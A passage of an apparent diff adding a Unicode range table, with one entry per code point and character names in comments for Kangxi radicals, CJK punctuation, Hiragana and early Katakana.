+ [0x2f25, 0x2f25], /* KANGXI RADICAL WOMAN */
+ [0x2f26, 0x2f26], /* KANGXI RADICAL CHILD */
+ [0x2f27, 0x2f27], /* KANGXI RADICAL ROOF */
+ [0x2f28, 0x2f28], /* KANGXI RADICAL INCH */
+ [0x2f29, 0x2f29], /* KANGXI RADICAL SMALL */
+ [0x2f2a, 0x2f2a], /* KANGXI RADICAL LAME */
+ [0x2f2b, 0x2f2b], /* KANGXI RADICAL CORPSE */
+ [0x2f2c, 0x2f2c], /* KANGXI RADICAL SPROUT */
+ [0x2f2d, 0x2f2d], /* KANGXI RADICAL MOUNTAIN */
+ [0x2f2e, 0x2f2e], /* KANGXI RADICAL RIVER */
+ [0x2f2f, 0x2f2f], /* KANGXI RADICAL WORK */
+ [0x2f30, 0x2f30], /* KANGXI RADICAL ONESELF */
+ [0x2f31, 0x2f31], /* KANGXI RADICAL TURBAN */
+ [0x2f32, 0x2f32], /* KANGXI RADICAL DRY */
+ [0x2f33, 0x2f33], /* KANGXI RADICAL SHORT THREAD */
+ [0x2f34, 0x2f34], /* KANGXI RADICAL DOTTED CLIFF */
+ [0x2f35, 0x2f35], /* KANGXI RADICAL LONG STRIDE */
+ [0x2f36, 0x2f36], /* KANGXI RADICAL TWO HANDS */
+ [0x2f37, 0x2f37], /* KANGXI RADICAL SHOOT */
+ [0x2f38, 0x2f38], /* KANGXI RADICAL BOW */
+ [0x2f39, 0x2f39], /* KANGXI RADICAL SNOUT */
+ [0x2f3a, 0x2f3a], /* KANGXI RADICAL BRISTLE */
+ [0x2f3b, 0x2f3b], /* KANGXI RADICAL STEP */
+ [0x2f3c, 0x2f3c], /* KANGXI RADICAL HEART */
+ [0x2f3d, 0x2f3d], /* KANGXI RADICAL HALBERD */
+ [0x2f3e, 0x2f3e], /* KANGXI RADICAL DOOR */
+ [0x2f3f, 0x2f3f], /* KANGXI RADICAL HAND */
+ [0x2f40, 0x2f40], /* KANGXI RADICAL BRANCH */
+ [0x2f41, 0x2f41], /* KANGXI RADICAL RAP */
+ [0x2f42, 0x2f42], /* KANGXI RADICAL SCRIPT */
+ [0x2f43, 0x2f43], /* KANGXI RADICAL DIPPER */
+ [0x2f44, 0x2f44], /* KANGXI RADICAL AXE */
+ [0x2f45, 0x2f45], /* KANGXI RADICAL SQUARE */
+ [0x2f46, 0x2f46], /* KANGXI RADICAL NOT */
+ [0x2f47, 0x2f47], /* KANGXI RADICAL SUN */
+ [0x2f48, 0x2f48], /* KANGXI RADICAL SAY */
+ [0x2f49, 0x2f49], /* KANGXI RADICAL MOON */
+ [0x2f4a, 0x2f4a], /* KANGXI RADICAL TREE */
+ [0x2f4b, 0x2f4b], /* KANGXI RADICAL LACK */
+ [0x2f4c, 0x2f4c], /* KANGXI RADICAL STOP */
+ [0x2f4d, 0x2f4d], /* KANGXI RADICAL DEATH */
+ [0x2f4e, 0x2f4e], /* KANGXI RADICAL WEAPON */
+ [0x2f4f, 0x2f4f], /* KANGXI RADICAL DO NOT */
+ [0x2f50, 0x2f50], /* KANGXI RADICAL COMPARE */
+ [0x2f51, 0x2f51], /* KANGXI RADICAL FUR */
+ [0x2f52, 0x2f52], /* KANGXI RADICAL CLAN */
+ [0x2f53, 0x2f53], /* KANGXI RADICAL STEAM */
+ [0x2f54, 0x2f54], /* KANGXI RADICAL WATER */
+ [0x2f55, 0x2f55], /* KANGXI RADICAL FIRE */
+ [0x2f56, 0x2f56], /* KANGXI RADICAL CLAW */
+ [0x2f57, 0x2f57], /* KANGXI RADICAL FATHER */
+ [0x2f58, 0x2f58], /* KANGXI RADICAL DOUBLE X */
+ [0x2f59, 0x2f59], /* KANGXI RADICAL HALF TREE TRUNK */
+ [0x2f5a, 0x2f5a], /* KANGXI RADICAL SLICE */
+ [0x2f5b, 0x2f5b], /* KANGXI RADICAL FANG */
+ [0x2f5c, 0x2f5c], /* KANGXI RADICAL COW */
+ [0x2f5d, 0x2f5d], /* KANGXI RADICAL DOG */
+ [0x2f5e, 0x2f5e], /* KANGXI RADICAL PROFOUND */
+ [0x2f5f, 0x2f5f], /* KANGXI RADICAL JADE */
+ [0x2f60, 0x2f60], /* KANGXI RADICAL MELON */
+ [0x2f61, 0x2f61], /* KANGXI RADICAL TILE */
+ [0x2f62, 0x2f62], /* KANGXI RADICAL SWEET */
+ [0x2f63, 0x2f63], /* KANGXI RADICAL LIFE */
+ [0x2f64, 0x2f64], /* KANGXI RADICAL USE */
+ [0x2f65, 0x2f65], /* KANGXI RADICAL FIELD */
+ [0x2f66, 0x2f66], /* KANGXI RADICAL BOLT OF CLOTH */
+ [0x2f67, 0x2f67], /* KANGXI RADICAL SICKNESS */
+ [0x2f68, 0x2f68], /* KANGXI RADICAL DOTTED TENT */
+ [0x2f69, 0x2f69], /* KANGXI RADICAL WHITE */
+ [0x2f6a, 0x2f6a], /* KANGXI RADICAL SKIN */
+ [0x2f6b, 0x2f6b], /* KANGXI RADICAL DISH */
+ [0x2f6c, 0x2f6c], /* KANGXI RADICAL EYE */
+ [0x2f6d, 0x2f6d], /* KANGXI RADICAL SPEAR */
+ [0x2f6e, 0x2f6e], /* KANGXI RADICAL ARROW */
+ [0x2f6f, 0x2f6f], /* KANGXI RADICAL STONE */
+ [0x2f70, 0x2f70], /* KANGXI RADICAL SPIRIT */
+ [0x2f71, 0x2f71], /* KANGXI RADICAL TRACK */
+ [0x2f72, 0x2f72], /* KANGXI RADICAL GRAIN */
+ [0x2f73, 0x2f73], /* KANGXI RADICAL CAVE */
+ [0x2f74, 0x2f74], /* KANGXI RADICAL STAND */
+ [0x2f75, 0x2f75], /* KANGXI RADICAL BAMBOO */
+ [0x2f76, 0x2f76], /* KANGXI RADICAL RICE */
+ [0x2f77, 0x2f77], /* KANGXI RADICAL SILK */
+ [0x2f78, 0x2f78], /* KANGXI RADICAL JAR */
+ [0x2f79, 0x2f79], /* KANGXI RADICAL NET */
+ [0x2f7a, 0x2f7a], /* KANGXI RADICAL SHEEP */
+ [0x2f7b, 0x2f7b], /* KANGXI RADICAL FEATHER */
+ [0x2f7c, 0x2f7c], /* KANGXI RADICAL OLD */
+ [0x2f7d, 0x2f7d], /* KANGXI RADICAL AND */
+ [0x2f7e, 0x2f7e], /* KANGXI RADICAL PLOW */
+ [0x2f7f, 0x2f7f], /* KANGXI RADICAL EAR */
+ [0x2f80, 0x2f80], /* KANGXI RADICAL BRUSH */
+ [0x2f81, 0x2f81], /* KANGXI RADICAL MEAT */
+ [0x2f82, 0x2f82], /* KANGXI RADICAL MINISTER */
+ [0x2f83, 0x2f83], /* KANGXI RADICAL SELF */
+ [0x2f84, 0x2f84], /* KANGXI RADICAL ARRIVE */
+ [0x2f85, 0x2f85], /* KANGXI RADICAL MORTAR */
+ [0x2f86, 0x2f86], /* KANGXI RADICAL TONGUE */
+ [0x2f87, 0x2f87], /* KANGXI RADICAL OPPOSE */
+ [0x2f88, 0x2f88], /* KANGXI RADICAL BOAT */
+ [0x2f89, 0x2f89], /* KANGXI RADICAL STOPPING */
+ [0x2f8a, 0x2f8a], /* KANGXI RADICAL COLOR */
+ [0x2f8b, 0x2f8b], /* KANGXI RADICAL GRASS */
+ [0x2f8c, 0x2f8c], /* KANGXI RADICAL TIGER */
+ [0x2f8d, 0x2f8d], /* KANGXI RADICAL INSECT */
+ [0x2f8e, 0x2f8e], /* KANGXI RADICAL BLOOD */
+ [0x2f8f, 0x2f8f], /* KANGXI RADICAL WALK ENCLOSURE */
+ [0x2f90, 0x2f90], /* KANGXI RADICAL CLOTHES */
+ [0x2f91, 0x2f91], /* KANGXI RADICAL WEST */
+ [0x2f92, 0x2f92], /* KANGXI RADICAL SEE */
+ [0x2f93, 0x2f93], /* KANGXI RADICAL HORN */
+ [0x2f94, 0x2f94], /* KANGXI RADICAL SPEECH */
+ [0x2f95, 0x2f95], /* KANGXI RADICAL VALLEY */
+ [0x2f96, 0x2f96], /* KANGXI RADICAL BEAN */
+ [0x2f97, 0x2f97], /* KANGXI RADICAL PIG */
+ [0x2f98, 0x2f98], /* KANGXI RADICAL BADGER */
+ [0x2f99, 0x2f99], /* KANGXI RADICAL SHELL */
+ [0x2f9a, 0x2f9a], /* KANGXI RADICAL RED */
+ [0x2f9b, 0x2f9b], /* KANGXI RADICAL RUN */
+ [0x2f9c, 0x2f9c], /* KANGXI RADICAL FOOT */
+ [0x2f9d, 0x2f9d], /* KANGXI RADICAL BODY */
+ [0x2f9e, 0x2f9e], /* KANGXI RADICAL CART */
+ [0x2f9f, 0x2f9f], /* KANGXI RADICAL BITTER */
+ [0x2fa0, 0x2fa0], /* KANGXI RADICAL MORNING */
+ [0x2fa1, 0x2fa1], /* KANGXI RADICAL WALK */
+ [0x2fa2, 0x2fa2], /* KANGXI RADICAL CITY */
+ [0x2fa3, 0x2fa3], /* KANGXI RADICAL WINE */
+ [0x2fa4, 0x2fa4], /* KANGXI RADICAL DISTINGUISH */
+ [0x2fa5, 0x2fa5], /* KANGXI RADICAL VILLAGE */
+ [0x2fa6, 0x2fa6], /* KANGXI RADICAL GOLD */
+ [0x2fa7, 0x2fa7], /* KANGXI RADICAL LONG */
+ [0x2fa8, 0x2fa8], /* KANGXI RADICAL GATE */
+ [0x2fa9, 0x2fa9], /* KANGXI RADICAL MOUND */
+ [0x2faa, 0x2faa], /* KANGXI RADICAL SLAVE */
+ [0x2fab, 0x2fab], /* KANGXI RADICAL SHORT TAILED BIRD */
+ [0x2fac, 0x2fac], /* KANGXI RADICAL RAIN */
+ [0x2fad, 0x2fad], /* KANGXI RADICAL BLUE */
+ [0x2fae, 0x2fae], /* KANGXI RADICAL WRONG */
+ [0x2faf, 0x2faf], /* KANGXI RADICAL FACE */
+ [0x2fb0, 0x2fb0], /* KANGXI RADICAL LEATHER */
+ [0x2fb1, 0x2fb1], /* KANGXI RADICAL TANNED LEATHER */
+ [0x2fb2, 0x2fb2], /* KANGXI RADICAL LEEK */
+ [0x2fb3, 0x2fb3], /* KANGXI RADICAL SOUND */
+ [0x2fb4, 0x2fb4], /* KANGXI RADICAL LEAF */
+ [0x2fb5, 0x2fb5], /* KANGXI RADICAL WIND */
+ [0x2fb6, 0x2fb6], /* KANGXI RADICAL FLY */
+ [0x2fb7, 0x2fb7], /* KANGXI RADICAL EAT */
+ [0x2fb8, 0x2fb8], /* KANGXI RADICAL HEAD */
+ [0x2fb9, 0x2fb9], /* KANGXI RADICAL FRAGRANT */
+ [0x2fba, 0x2fba], /* KANGXI RADICAL HORSE */
+ [0x2fbb, 0x2fbb], /* KANGXI RADICAL BONE */
+ [0x2fbc, 0x2fbc], /* KANGXI RADICAL TALL */
+ [0x2fbd, 0x2fbd], /* KANGXI RADICAL HAIR */
+ [0x2fbe, 0x2fbe], /* KANGXI RADICAL FIGHT */
+ [0x2fbf, 0x2fbf], /* KANGXI RADICAL SACRIFICIAL WINE */
+ [0x2fc0, 0x2fc0], /* KANGXI RADICAL CAULDRON */
+ [0x2fc1, 0x2fc1], /* KANGXI RADICAL GHOST */
+ [0x2fc2, 0x2fc2], /* KANGXI RADICAL FISH */
+ [0x2fc3, 0x2fc3], /* KANGXI RADICAL BIRD */
+ [0x2fc4, 0x2fc4], /* KANGXI RADICAL SALT */
+ [0x2fc5, 0x2fc5], /* KANGXI RADICAL DEER */
+ [0x2fc6, 0x2fc6], /* KANGXI RADICAL WHEAT */
+ [0x2fc7, 0x2fc7], /* KANGXI RADICAL HEMP */
+ [0x2fc8, 0x2fc8], /* KANGXI RADICAL YELLOW */
+ [0x2fc9, 0x2fc9], /* KANGXI RADICAL MILLET */
+ [0x2fca, 0x2fca], /* KANGXI RADICAL BLACK */
+ [0x2fcb, 0x2fcb], /* KANGXI RADICAL EMBROIDERY */
+ [0x2fcc, 0x2fcc], /* KANGXI RADICAL FROG */
+ [0x2fcd, 0x2fcd], /* KANGXI RADICAL TRIPOD */
+ [0x2fce, 0x2fce], /* KANGXI RADICAL DRUM */
+ [0x2fcf, 0x2fcf], /* KANGXI RADICAL RAT */
+ [0x2fd0, 0x2fd0], /* KANGXI RADICAL NOSE */
+ [0x2fd1, 0x2fd1], /* KANGXI RADICAL EVEN */
+ [0x2fd2, 0x2fd2], /* KANGXI RADICAL TOOTH */
+ [0x2fd3, 0x2fd3], /* KANGXI RADICAL DRAGON */
+ [0x2fd4, 0x2fd4], /* KANGXI RADICAL TURTLE */
+ [0x2fd5, 0x2fd5], /* KANGXI RADICAL FLUTE */
+ [0x2fd6, 0x2fd6],
+ [0x2fd7, 0x2fd7],
+ [0x2fd8, 0x2fd8],
+ [0x2fd9, 0x2fd9],
+ [0x2fda, 0x2fda],
+ [0x2fdb, 0x2fdb],
+ [0x2fdc, 0x2fdc],
+ [0x2fdd, 0x2fdd],
+ [0x2fde, 0x2fde],
+ [0x2fdf, 0x2fdf],
+ [0x2fe0, 0x2fe0],
+ [0x2fe1, 0x2fe1],
+ [0x2fe2, 0x2fe2],
+ [0x2fe3, 0x2fe3],
+ [0x2fe4, 0x2fe4],
+ [0x2fe5, 0x2fe5],
+ [0x2fe6, 0x2fe6],
+ [0x2fe7, 0x2fe7],
+ [0x2fe8, 0x2fe8],
+ [0x2fe9, 0x2fe9],
+ [0x2fea, 0x2fea],
+ [0x2feb, 0x2feb],
+ [0x2fec, 0x2fec],
+ [0x2fed, 0x2fed],
+ [0x2fee, 0x2fee],
+ [0x2fef, 0x2fef],
+ [0x2ff0, 0x2ff0], /* IDEOGRAPHIC DESCRIPTION CHARACTER LEFT TO RIGHT */
+ [0x2ff1, 0x2ff1], /* IDEOGRAPHIC DESCRIPTION CHARACTER ABOVE TO BELOW */
+ [0x2ff2, 0x2ff2], /* IDEOGRAPHIC DESCRIPTION CHARACTER LEFT TO MIDDLE AND RIGHT */
+ [0x2ff3, 0x2ff3], /* IDEOGRAPHIC DESCRIPTION CHARACTER ABOVE TO MIDDLE AND BELOW */
+ [0x2ff4, 0x2ff4], /* IDEOGRAPHIC DESCRIPTION CHARACTER FULL SURROUND */
+ [0x2ff5, 0x2ff5], /* IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM ABOVE */
+ [0x2ff6, 0x2ff6], /* IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM BELOW */
+ [0x2ff7, 0x2ff7], /* IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM LEFT */
+ [0x2ff8, 0x2ff8], /* IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM UPPER LEFT */
+ [0x2ff9, 0x2ff9], /* IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM UPPER RIGHT */
+ [0x2ffa, 0x2ffa], /* IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM LOWER LEFT */
+ [0x2ffb, 0x2ffb], /* IDEOGRAPHIC DESCRIPTION CHARACTER OVERLAID */
+ [0x2ffc, 0x2ffc],
+ [0x2ffd, 0x2ffd],
+ [0x2ffe, 0x2ffe],
+ [0x2fff, 0x2fff],
+ [0x3000, 0x3000], /* IDEOGRAPHIC SPACE */
+ [0x3001, 0x3001], /* IDEOGRAPHIC COMMA */
+ [0x3002, 0x3002], /* IDEOGRAPHIC FULL STOP (IDEOGRAPHIC PERIOD) */
+ [0x3003, 0x3003], /* DITTO MARK */
+ [0x3004, 0x3004], /* JAPANESE INDUSTRIAL STANDARD SYMBOL */
+ [0x3005, 0x3005], /* IDEOGRAPHIC ITERATION MARK */
+ [0x3006, 0x3006], /* IDEOGRAPHIC CLOSING MARK */
+ [0x3007, 0x3007], /* IDEOGRAPHIC NUMBER ZERO */
+ [0x3008, 0x3008], /* LEFT ANGLE BRACKET (OPENING ANGLE BRACKET) */
+ [0x3009, 0x3009], /* RIGHT ANGLE BRACKET (CLOSING ANGLE BRACKET) */
+ [0x300a, 0x300a], /* LEFT DOUBLE ANGLE BRACKET (OPENING DOUBLE ANGLE BRACKET) */
+ [0x300b, 0x300b], /* RIGHT DOUBLE ANGLE BRACKET (CLOSING DOUBLE ANGLE BRACKET) */
+ [0x300c, 0x300c], /* LEFT CORNER BRACKET (OPENING CORNER BRACKET) */
+ [0x300d, 0x300d], /* RIGHT CORNER BRACKET (CLOSING CORNER BRACKET) */
+ [0x300e, 0x300e], /* LEFT WHITE CORNER BRACKET (OPENING WHITE CORNER BRACKET) */
+ [0x300f, 0x300f], /* RIGHT WHITE CORNER BRACKET (CLOSING WHITE CORNER BRACKET) */
+ [0x3010, 0x3010], /* LEFT BLACK LENTICULAR BRACKET (OPENING BLACK LENTICULAR BRACKET) */
+ [0x3011, 0x3011], /* RIGHT BLACK LENTICULAR BRACKET (CLOSING BLACK LENTICULAR BRACKET) */
+ [0x3012, 0x3012], /* POSTAL MARK */
+ [0x3013, 0x3013], /* GETA MARK */
+ [0x3014, 0x3014], /* LEFT TORTOISE SHELL BRACKET (OPENING TORTOISE SHELL BRACKET) */
+ [0x3015, 0x3015], /* RIGHT TORTOISE SHELL BRACKET (CLOSING TORTOISE SHELL BRACKET) */
+ [0x3016, 0x3016], /* LEFT WHITE LENTICULAR BRACKET (OPENING WHITE LENTICULAR BRACKET) */
+ [0x3017, 0x3017], /* RIGHT WHITE LENTICULAR BRACKET (CLOSING WHITE LENTICULAR BRACKET) */
+ [0x3018, 0x3018], /* LEFT WHITE TORTOISE SHELL BRACKET (OPENING WHITE TORTOISE SHELL BRACKET) */
+ [0x3019, 0x3019], /* RIGHT WHITE TORTOISE SHELL BRACKET (CLOSING WHITE TORTOISE SHELL BRACKET) */
+ [0x301a, 0x301a], /* LEFT WHITE SQUARE BRACKET (OPENING WHITE SQUARE BRACKET) */
+ [0x301b, 0x301b], /* RIGHT WHITE SQUARE BRACKET (CLOSING WHITE SQUARE BRACKET) */
+ [0x301c, 0x301c], /* WAVE DASH */
+ [0x301d, 0x301d], /* REVERSED DOUBLE PRIME QUOTATION MARK */
+ [0x301e, 0x301e], /* DOUBLE PRIME QUOTATION MARK */
+ [0x301f, 0x301f], /* LOW DOUBLE PRIME QUOTATION MARK */
+ [0x3020, 0x3020], /* POSTAL MARK FACE */
+ [0x3021, 0x3021], /* HANGZHOU NUMERAL ONE */
+ [0x3022, 0x3022], /* HANGZHOU NUMERAL TWO */
+ [0x3023, 0x3023], /* HANGZHOU NUMERAL THREE */
+ [0x3024, 0x3024], /* HANGZHOU NUMERAL FOUR */
+ [0x3025, 0x3025], /* HANGZHOU NUMERAL FIVE */
+ [0x3026, 0x3026], /* HANGZHOU NUMERAL SIX */
+ [0x3027, 0x3027], /* HANGZHOU NUMERAL SEVEN */
+ [0x3028, 0x3028], /* HANGZHOU NUMERAL EIGHT */
+ [0x3029, 0x3029], /* HANGZHOU NUMERAL NINE */
+ [0x302a, 0x302a], /* IDEOGRAPHIC LEVEL TONE MARK */
+ [0x302b, 0x302b], /* IDEOGRAPHIC RISING TONE MARK */
+ [0x302c, 0x302c], /* IDEOGRAPHIC DEPARTING TONE MARK */
+ [0x302d, 0x302d], /* IDEOGRAPHIC ENTERING TONE MARK */
+ [0x302e, 0x302e], /* HANGUL SINGLE DOT TONE MARK */
+ [0x302f, 0x302f], /* HANGUL DOUBLE DOT TONE MARK */
+ [0x3030, 0x3030], /* WAVY DASH */
+ [0x3031, 0x3031], /* VERTICAL KANA REPEAT MARK */
+ [0x3032, 0x3032], /* VERTICAL KANA REPEAT WITH VOICED SOUND MARK */
+ [0x3033, 0x3033], /* VERTICAL KANA REPEAT MARK UPPER HALF */
+ [0x3034, 0x3034], /* VERTICAL KANA REPEAT WITH VOICED SOUND MARK UPPER HALF */
+ [0x3035, 0x3035], /* VERTICAL KANA REPEAT MARK LOWER HALF */
+ [0x3036, 0x3036], /* CIRCLED POSTAL MARK */
+ [0x3037, 0x3037], /* IDEOGRAPHIC TELEGRAPH LINE FEED SEPARATOR SYMBOL */
+ [0x3038, 0x3038], /* HANGZHOU NUMERAL TEN */
+ [0x3039, 0x3039], /* HANGZHOU NUMERAL TWENTY */
+ [0x303a, 0x303a], /* HANGZHOU NUMERAL THIRTY */
+ [0x303b, 0x303b], /* VERTICAL IDEOGRAPHIC ITERATION MARK */
+ [0x303c, 0x303c], /* MASU MARK */
+ [0x303d, 0x303d], /* PART ALTERNATION MARK */
+ [0x303e, 0x303e], /* IDEOGRAPHIC VARIATION INDICATOR */
+ [0x303f, 0x303f], /* IDEOGRAPHIC HALF FILL SPACE */
+ [0x3040, 0x3040],
+ [0x3041, 0x3041], /* HIRAGANA LETTER SMALL A */
+ [0x3042, 0x3042], /* HIRAGANA LETTER A */
+ [0x3043, 0x3043], /* HIRAGANA LETTER SMALL I */
+ [0x3044, 0x3044], /* HIRAGANA LETTER I */
+ [0x3045, 0x3045], /* HIRAGANA LETTER SMALL U */
+ [0x3046, 0x3046], /* HIRAGANA LETTER U */
+ [0x3047, 0x3047], /* HIRAGANA LETTER SMALL E */
+ [0x3048, 0x3048], /* HIRAGANA LETTER E */
+ [0x3049, 0x3049], /* HIRAGANA LETTER SMALL O */
+ [0x304a, 0x304a], /* HIRAGANA LETTER O */
+ [0x304b, 0x304b], /* HIRAGANA LETTER KA */
+ [0x304c, 0x304c], /* HIRAGANA LETTER GA */
+ [0x304d, 0x304d], /* HIRAGANA LETTER KI */
+ [0x304e, 0x304e], /* HIRAGANA LETTER GI */
+ [0x304f, 0x304f], /* HIRAGANA LETTER KU */
+ [0x3050, 0x3050], /* HIRAGANA LETTER GU */
+ [0x3051, 0x3051], /* HIRAGANA LETTER KE */
+ [0x3052, 0x3052], /* HIRAGANA LETTER GE */
+ [0x3053, 0x3053], /* HIRAGANA LETTER KO */
+ [0x3054, 0x3054], /* HIRAGANA LETTER GO */
+ [0x3055, 0x3055], /* HIRAGANA LETTER SA */
+ [0x3056, 0x3056], /* HIRAGANA LETTER ZA */
+ [0x3057, 0x3057], /* HIRAGANA LETTER SI */
+ [0x3058, 0x3058], /* HIRAGANA LETTER ZI */
+ [0x3059, 0x3059], /* HIRAGANA LETTER SU */
+ [0x305a, 0x305a], /* HIRAGANA LETTER ZU */
+ [0x305b, 0x305b], /* HIRAGANA LETTER SE */
+ [0x305c, 0x305c], /* HIRAGANA LETTER ZE */
+ [0x305d, 0x305d], /* HIRAGANA LETTER SO */
+ [0x305e, 0x305e], /* HIRAGANA LETTER ZO */
+ [0x305f, 0x305f], /* HIRAGANA LETTER TA */
+ [0x3060, 0x3060], /* HIRAGANA LETTER DA */
+ [0x3061, 0x3061], /* HIRAGANA LETTER TI */
+ [0x3062, 0x3062], /* HIRAGANA LETTER DI */
+ [0x3063, 0x3063], /* HIRAGANA LETTER SMALL TU */
+ [0x3064, 0x3064], /* HIRAGANA LETTER TU */
+ [0x3065, 0x3065], /* HIRAGANA LETTER DU */
+ [0x3066, 0x3066], /* HIRAGANA LETTER TE */
+ [0x3067, 0x3067], /* HIRAGANA LETTER DE */
+ [0x3068, 0x3068], /* HIRAGANA LETTER TO */
+ [0x3069, 0x3069], /* HIRAGANA LETTER DO */
+ [0x306a, 0x306a], /* HIRAGANA LETTER NA */
+ [0x306b, 0x306b], /* HIRAGANA LETTER NI */
+ [0x306c, 0x306c], /* HIRAGANA LETTER NU */
+ [0x306d, 0x306d], /* HIRAGANA LETTER NE */
+ [0x306e, 0x306e], /* HIRAGANA LETTER NO */
+ [0x306f, 0x306f], /* HIRAGANA LETTER HA */
+ [0x3070, 0x3070], /* HIRAGANA LETTER BA */
+ [0x3071, 0x3071], /* HIRAGANA LETTER PA */
+ [0x3072, 0x3072], /* HIRAGANA LETTER HI */
+ [0x3073, 0x3073], /* HIRAGANA LETTER BI */
+ [0x3074, 0x3074], /* HIRAGANA LETTER PI */
+ [0x3075, 0x3075], /* HIRAGANA LETTER HU */
+ [0x3076, 0x3076], /* HIRAGANA LETTER BU */
+ [0x3077, 0x3077], /* HIRAGANA LETTER PU */
+ [0x3078, 0x3078], /* HIRAGANA LETTER HE */
+ [0x3079, 0x3079], /* HIRAGANA LETTER BE */
+ [0x307a, 0x307a], /* HIRAGANA LETTER PE */
+ [0x307b, 0x307b], /* HIRAGANA LETTER HO */
+ [0x307c, 0x307c], /* HIRAGANA LETTER BO */
+ [0x307d, 0x307d], /* HIRAGANA LETTER PO */
+ [0x307e, 0x307e], /* HIRAGANA LETTER MA */
+ [0x307f, 0x307f], /* HIRAGANA LETTER MI */
+ [0x3080, 0x3080], /* HIRAGANA LETTER MU */
+ [0x3081, 0x3081], /* HIRAGANA LETTER ME */
+ [0x3082, 0x3082], /* HIRAGANA LETTER MO */
+ [0x3083, 0x3083], /* HIRAGANA LETTER SMALL YA */
+ [0x3084, 0x3084], /* HIRAGANA LETTER YA */
+ [0x3085, 0x3085], /* HIRAGANA LETTER SMALL YU */
+ [0x3086, 0x3086], /* HIRAGANA LETTER YU */
+ [0x3087, 0x3087], /* HIRAGANA LETTER SMALL YO */
+ [0x3088, 0x3088], /* HIRAGANA LETTER YO */
+ [0x3089, 0x3089], /* HIRAGANA LETTER RA */
+ [0x308a, 0x308a], /* HIRAGANA LETTER RI */
+ [0x308b, 0x308b], /* HIRAGANA LETTER RU */
+ [0x308c, 0x308c], /* HIRAGANA LETTER RE */
+ [0x308d, 0x308d], /* HIRAGANA LETTER RO */
+ [0x308e, 0x308e], /* HIRAGANA LETTER SMALL WA */
+ [0x308f, 0x308f], /* HIRAGANA LETTER WA */
+ [0x3090, 0x3090], /* HIRAGANA LETTER WI */
+ [0x3091, 0x3091], /* HIRAGANA LETTER WE */
+ [0x3092, 0x3092], /* HIRAGANA LETTER WO */
+ [0x3093, 0x3093], /* HIRAGANA LETTER N */
+ [0x3094, 0x3094], /* HIRAGANA LETTER VU */
+ [0x3095, 0x3095], /* HIRAGANA LETTER SMALL KA */
+ [0x3096, 0x3096], /* HIRAGANA LETTER SMALL KE */
+ [0x3097, 0x3097],
+ [0x3098, 0x3098],
+ [0x3099, 0x3099], /* COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK (NON-SPACING KATAKANA-HIRAGANA VOICED SOUND MARK) */
+ [0x309a, 0x309a], /* COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK (NON-SPACING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK) */
+ [0x309b, 0x309b], /* KATAKANA-HIRAGANA VOICED SOUND MARK */
+ [0x309c, 0x309c], /* KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK */
+ [0x309d, 0x309d], /* HIRAGANA ITERATION MARK */
+ [0x309e, 0x309e], /* HIRAGANA VOICED ITERATION MARK */
+ [0x309f, 0x309f], /* HIRAGANA DIGRAPH YORI */
+ [0x30a0, 0x30a0], /* KATAKANA-HIRAGANA DOUBLE HYPHEN */
+ [0x30a1, 0x30a1], /* KATAKANA LETTER SMALL A */
+ [0x30a2, 0x30a2], /* KATAKANA LETTER A */
+ [0x30a3, 0x30a3], /* KATAKANA LETTER SMALL I */
+ [0x30a4, 0x30a4], /* KATAKANA LETTER I */
+ [0x30a5, 0x30a5], /* KATAKANA LETTER SMALL U */
+ [0x30a6, 0x30a6], /* KATAKANA LETTER U */
+ [0x30a7, 0x30a7], /* KATAKANA LETTER SMALL E */
+ [0x30a8, 0x30a8], /* KATAKANA LETTER E */
+ [0x30a9, 0x30a9], /* KATAKANA LETTER SMALL O */
+ [0x30aa, 0x30aa], /* KATAKANA LETTER O */
+ [0x30ab, 0x30ab], /* KATAKANA LETTER KA */
+ [0x30ac, 0x30ac], /* KATAKANA LETTER GA */
+ [0x30ad, 0x30ad], /* KATAKANA LETTER KI */
+ [0x30ae, 0x30ae], /* KATAKANA LETTER GI */
+ [0x30af, 0x30af], /* KATAKANA LETTER KU */
+ [0x30b0, 0x30b0], /* KATAKANA LETTER GU */
+ [0x30b1, 0x30b1], /* KATAKANA LETTER KE */
+ [0x30b2, 0x30b2], /* KATAKANA LETTER GE */
+ [0x30b3, 0x30b3], /* KATAKANA LETTER KO */
+ [0x30b4, 0x30b4], /* KATAKANA LETTER GO */
+ [0x30b5, 0x30b5], /* KATAKANA LETTER SA */
+ [0x30b6, 0x30b6], /* KATAKANA LETTER ZA */
+ [0x30b7, 0x30b7], /* KATAKANA LETTER SI */
+ [0x30b8, 0x30b8], /* KATAKANA LETTER ZI */
+ [0x30b9, 0x30b9], /* KATAKANA LETTER SU */
+ [0x30ba, 0x30ba], /* KATAKANA LETTER ZU */
+ [0x30bb, 0x30bb], /* KATAKANA LETTER SE */
+ [0x30bc, 0x30bc], /* KATAKANA LETTER ZE */
+ [0x30bd, 0x30bd], /* KATAKANA LETTER SO */
+ [0x30be, 0x30be], /* KATAKANA LETTER ZO */
+ [0x30bf, 0x30bf], /* KATAKANA LETTER TA */
+ [0x30c0, 0x30c0], /* KATAKANA LETTER DA */
+ [0x30c1, 0x30c1], /* KATAKANA LETTER TI */
+ [0x30c2, 0x30c2], /* KATAKANA LETTER DI */
+ [0x30c3, 0x30c3], /* KATAKANA LETTER SMALL TU */
+ [0x30c4, 0x30c4], /* KATAKANA LETTER TU */
+ [0x30c5, 0x30c5], /* KATAKANA LETTER DU */
+ [0x30c6, 0x30c6], /* KATAKANA LETTER TE */
+ [0x30c7, 0x30c7], /* KATAKANA LETTER DE */
+ [0x30c8, 0x30c8], /* KATAKANA LETTER TO */
+ [0x30c9, 0x30c9], /* KATAKANA LETTER DO */
+ [0x30ca, 0x30ca], /* KATAKANA LETTER NA */
+ [0x30cb, 0x30cb], /* KATAKANA LETTER NI */
+ [0x30cc, 0x30cc], /* KATAKANA LETTER NU */
+ [0x30cd, 0x30cd], /* KATAKANA LETTER NE */
+ [0x30ce, 0x30ce], /* KATAKANA LETTER NO */
+ [0x30cf, 0x30cf], /* KATAKANA LETTER HA */
+ [0x30d0, 0x30d0], /* KATAKANA LETTER BA */
